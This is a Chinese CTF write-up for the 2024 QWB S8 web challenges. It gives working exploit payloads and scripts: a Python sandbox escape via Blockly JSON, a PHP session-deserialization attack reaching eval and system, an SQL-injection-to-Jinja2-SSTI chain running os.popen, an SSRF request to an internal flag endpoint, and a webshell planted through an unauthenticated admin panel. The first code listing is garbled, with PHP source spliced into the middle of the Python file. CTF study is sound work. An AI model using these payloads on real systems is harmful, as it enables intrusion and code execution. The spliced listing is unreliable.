qwbs8

https://github.com/CTF-Archives/2024-qwbs8/releases/tag/v0.1

web 1 PyBlockly

积木编程

index是拼图编程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
# 设置不使用ASCII
app.config['JSON_AS_ASCII'] = False


# 黑名单
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

# 模块存在性检查
def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

# 遍历 AST 节点,检查是否有导入语句
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return Fal<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

class SessionRandom {

public function generateRandomString() {
$length = rand(1, 50);

$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';

for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}

return $randomString;
}


}

class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}

private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}

public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();

if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);

foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);

return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
se
return True

# 过滤 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False

# Blockly 代码转换为 Python 代码
def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''

elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

# 递归地将 Blockly 的 JSON 结构转换为 Python 代码
# 支持的块类型包括 print math_number text max 和 min
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code

# 执行 Python 代码
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

# Flask 路由
@app.route('/')
def index():
return app.send_static_file('index.html')

# 接收 Blockly JSON 数据并处理
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')

定义了两个路由,一个用于提供静态 HTML 文件,另一个用于接收 Blockly JSON 数据并处理

审计钩子(audit hook)是 Python 提供的一种机制,用于监视和控制某些操作的执行。下面逐行分析 do(source_code) 函数中的 hook_code 部分,以帮助理解它的作用和工作原理。

hook代码分析

1
2
3
4
5
6
7
8
9
10
11
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)
'''

1. 定义审计钩子函数

1
def my_audit_hook(event_name, arg):
  • 这里定义了一个名为 my_audit_hook 的函数,它接受两个参数:
    • event_name:表示触发的事件名称。
    • arg:与该事件相关的附加参数。

2. 定义黑名单

1
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
  • 创建一个黑名单,列出了不允许调用的函数或操作。这些函数可能会导致安全漏洞,因此需要被拦截。
    • popen:用于创建子进程。
    • input:用于获取用户输入。
    • eval:用于执行字符串形式的 Python 表达式。
    • exec:用于执行字符串形式的 Python 代码。
    • compile:用于编译字符串为代码对象。
    • memoryview:用于创建内存视图,可能涉及底层内存操作。

3. 检查事件名称长度

1
2
if len(event_name) > 4:
raise RuntimeError("Too Long!")
  • 如果事件名称的长度超过 4 个字符,则引发 RuntimeError。这可以防止某些潜在的滥用情况。

4. 检查黑名单

1
2
3
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
  • 遍历黑名单中的每个不安全的操作,如果事件名称中包含任何黑名单中的操作,则引发 RuntimeError,表示不允许该操作。

5. 注册审计钩子

1
__import__('sys').addaudithook(my_audit_hook)
  • 使用 __import__('sys') 动态导入 sys 模块,并通过 addaudithook 函数注册 my_audit_hook。这意味着每当执行某些操作时,my_audit_hook 都会被调用。

这个审计钩子的目的是在执行 Python 代码时,监控并拦截不安全的操作。通过注册这个钩子,任何尝试调用黑名单中的操作(如 popeneval 等)都会被阻止,从而提高代码执行的安全性。

json > block > python

抓一个

1
print + 0

根据

1
2
3
4
5
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

unicode.unicode 绕过黑名单过滤

https://symbl.cc/cn/unicode-table/#halfwidth-and-fullwidth-forms

通过覆写 绕过len检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"blocks": {
"languageVersion": 0,
"blocks": [
{
"type": "print",
"id": "B0R|:TPC-hd7mhwcqn[w",
"fields": {
"TEXT": "';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"
}
}
]
}
}

没权限,查找suid

/bin/dd

dd提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"blocks": {
"languageVersion": 0,
"blocks": [
{
"type": "print",
"id": "B0R|:TPC-hd7mhwcqn[w",
"fields": {
"TEXT": "';__import__("builtins").len=lambda x:0;print(__import__("os").system("dd if=/flag of=/dev/stdout"));'"
}
}
]
}
}

web 2 platform

www.zip下载源码

在index.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

$_SESSION['user'] = $username;

if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] =$SessionRandom -> generateRandomString();
}

$_SESSION['password'] = $password;

# choco
$result = $sessionManager->filterSensitiveFunctions();

header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}

在登录之后的面板 dashboard.php

1
<?php echo htmlspecialchars($_SESSION['user']); ?>

参考 web 263 的 session 反序列化

具体实现, 在class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}

class SessionRandom {
public function generateRandomString() {
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';

for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}

class SessionManager {
private $sessionPath;
private $sessionId;
# choco
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}

# choco
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}

那么整体思路就是利用

1
2
3
4
5
class.php // $result = $sessionManager->filterSensitiveFunctions();

class.php // file_put_contents($sessionFile, $sessionData);

class.php // public function __destruct(){eval($this->data);}

其中

  1. 反序列化的对象 利用 :
1
2
3
4
5
6
7
8
9
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
1
<?php echo htmlspecialchars($_SESSION['user']); ?>
  1. 进行测试,因为sessionid的问题我们请求需要连贯,然后第一次请求session_id文件并没有内容,需要请求两次,然后再进行反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import os

# 设置目标URL
url = ""

while True:
# 构造数据
data = {
"username": "exec" * 9 + "popen",
"password": ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:18:"syssystemtem("ls -alh");";}user|s:1:"1aaaa'
}

sess = os.urandom(8).hex()
r = requests.post(url + "/index.php", data=data, headers={
"Cookie": f"PHPSESSID={sess}"
}, allow_redirects=False)
r = requests.post(url + "/index.php", data=data, headers={
"Cookie": f"PHPSESSID={sess}"
}, allow_redirects=False)

r = requests.post(url + "/dashboard.php", data=data, headers={
"Cookie": f"PHPSESSID={sess}"
}, allow_redirects=False)

# 获取响应文本
text = r.text

if 'total ' in text:
print(text)
print(sess)
break
1
2
3
xxxxxxxxxxxxxxxxxxx...xxxxxx;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"syssystemtem("/readflag;ls -alh");";}user|s:1:"1aaaa

;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"system("/readflag;ls -alh");";}user|s:1:"1aaaa

发包第一次session写入的还没被replace

第二次才被replace,第三次才触发反序列化

(被xdebug硬控了一套 我的php版本被系统变量写死了没发现)

web 3 xiaohuanxiong

TP框架 等安装好之后 跑 dirsearch 可以扫到

后台未授权

1
http://....../admin/admins/

进入之后 支付设置里面直接修改 php的配置代码,直接一句话木马

AntSword 秒了

这里Tel✌用了一种极有创意的做法 是通过sqlmap进行注入查询 进而破解了密码的哈希加密 tql

web 4 snake

分为两关

Less1

跑脚本, 自动化脚本要寻找优先路径, 判断边界值 和 判断是否咬到自己

星盟的参考脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import requests
import time
from collections import deque

# 游戏的 API 地址
url = "http://....../move"
name = "http://....../set_username"

# 初始化游戏状态
res = requests.post(name,{"username":"aaa"})
cookie = res.cookies
game_state = requests.post(url,cookies=cookie,json={"direction":"RIGHT"}).json()

# 定义方向
DIRECTIONS = {
"UP": [0, -1],
"DOWN": [0, 1],
"LEFT": [-1, 0],
"RIGHT": [1, 0]
}
WIDTH, HEIGHT = 20, 20


# 获取蛇的头部坐标
def get_snake_head(snake):
return snake[0]


# 检查是否撞墙或咬到自己
def is_valid_move(snake, next_head):
return (0 <= next_head[0] < WIDTH and
0 <= next_head[1] < HEIGHT and
next_head not in snake)


# BFS寻找最优路径
def find_path(snake, food):
queue = deque([(get_snake_head(snake), [])])
visited = set(tuple(segment) for segment in snake)

while queue:
current, path = queue.popleft()
if list(current) == food:
return path

for direction in DIRECTIONS.values():
next_head = (current[0] + direction[0], current[1] + direction[1])
if is_valid_move(snake, next_head) and next_head not in visited:
visited.add(next_head)
queue.append((next_head, path + [next_head]))

return []


# 移动蛇
def move_snake(direction):
response = requests.post(url,cookies=cookie, json={"direction": direction})
return response.json()


# 自动化贪吃蛇
def auto_snake(game_state):
snake = game_state["snake"]
food = game_state["food"]

# 找到从蛇头到食物的路径
path = find_path(snake, food)

if path:
next_head = path[0]
head = get_snake_head(snake)

# 确定移动方向
if next_head[0] < head[0]:
move_direction = "LEFT"
elif next_head[0] > head[0]:
move_direction = "RIGHT"
elif next_head[1] < head[1]:
move_direction = "UP"
else:
move_direction = "DOWN"

return move_snake(move_direction)
else:
print("No valid path to food!")
return game_state


# 示例执行
if __name__ == "__main__":
while game_state["status"] == "ok":
game_state = auto_snake(game_state)
print(game_state)
print(game_state)

win了之后会返回一个/snake_win?username=choco

Less2

这里 username 存在 sql注入

1
snake_win?username= aaa' union select "{{7*7}},"{{7*8}}","{{7*9}}" -- 

发现 time 的值变成了49,于是我们可以进行 jinja2 注入,用eval来执行python代码

1
http://eci-2zeg9nmyrzhwqonhgzax.cloudeci1.ichunqiu.com:5000/snake_win?username=aaa' union select "{{7*7}}","{{7*8}}","{{x.__init__.__globals__['__builtins__']['eval']('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

神奇的做法 太长见识了

web 5 Playground

给我CPU看冒烟了..等会? a? qwq

web 6 Proxy

?怎么下载下来是docker部署的源码啊(这对吗)

go源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package main

import (
"bytes"
"io"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}

func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}

c.Writer.Write(body)
c.Abort()
})
}

r.Run("127.0.0.1:8769")
}
  1. 代理请求:
    • 在Go代码中,定义了一个API /v2/api/proxy,它接收一个JSON格式的请求,其中包含了要转发的请求信息(URL、方法、请求体、请求头等)。
    • 当调用该API时,Go服务会根据请求中提供的信息构造并执行另一个HTTP请求。
  2. 获取flag的API:
    • 在另一个API /v1/api/flag 中,直接通过执行命令/readflag来获取flag,并将其返回给客户端。
    • 这个API没有任何身份验证或访问控制,意味着任何人都可以访问它。
  3. 构造代理请求:
    • 构造一个POST请求,将请求的URL指向http://localhost:8769/v1/api/flag,即刚才提到的获取flag的API。
    • 由于通过代理请求转发了这个请求,Go代码会执行它,并且返回结果给原始请求的发起者。

路径解析

请求流

  1. 客户端(Python脚本)向Go代理服务的/v2/api/proxy发送POST请求,提供要代理的请求信息,目标URL指向/v1/api/flag
  2. Go服务接收到请求后,构造一个新的请求,并使用http.Client执行它。
  3. Go服务获取到/v1/api/flag的响应(flag),并将其返回给最初的请求者

可以通过/v2/api/proxy这个往本地的8379端口发送http请求

回显内容到前端浏览器,可以通过代码写出对应的json数据 (有点像本地xss的思路)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import json

url = "http://....../v2/api/proxy"

headers = {
"Content-Type": "application/json",
}

data = {
"url": "http://localhost:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": False,
}

response = requests.post(url, headers=headers, data=json.dumps(data))
print(response.text)

web 7 Password Game

反序列化链子的构造

题目提示: 正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方

先去准备明天的数电实验了.. 明天极限再做做看( 以及去研究以下web5 web9 )

web 8 EzCalc

暂无

web 9 Proxy_revenge

https://blog.yllhwa.com/qwb-2024-proxy-revenge-wp/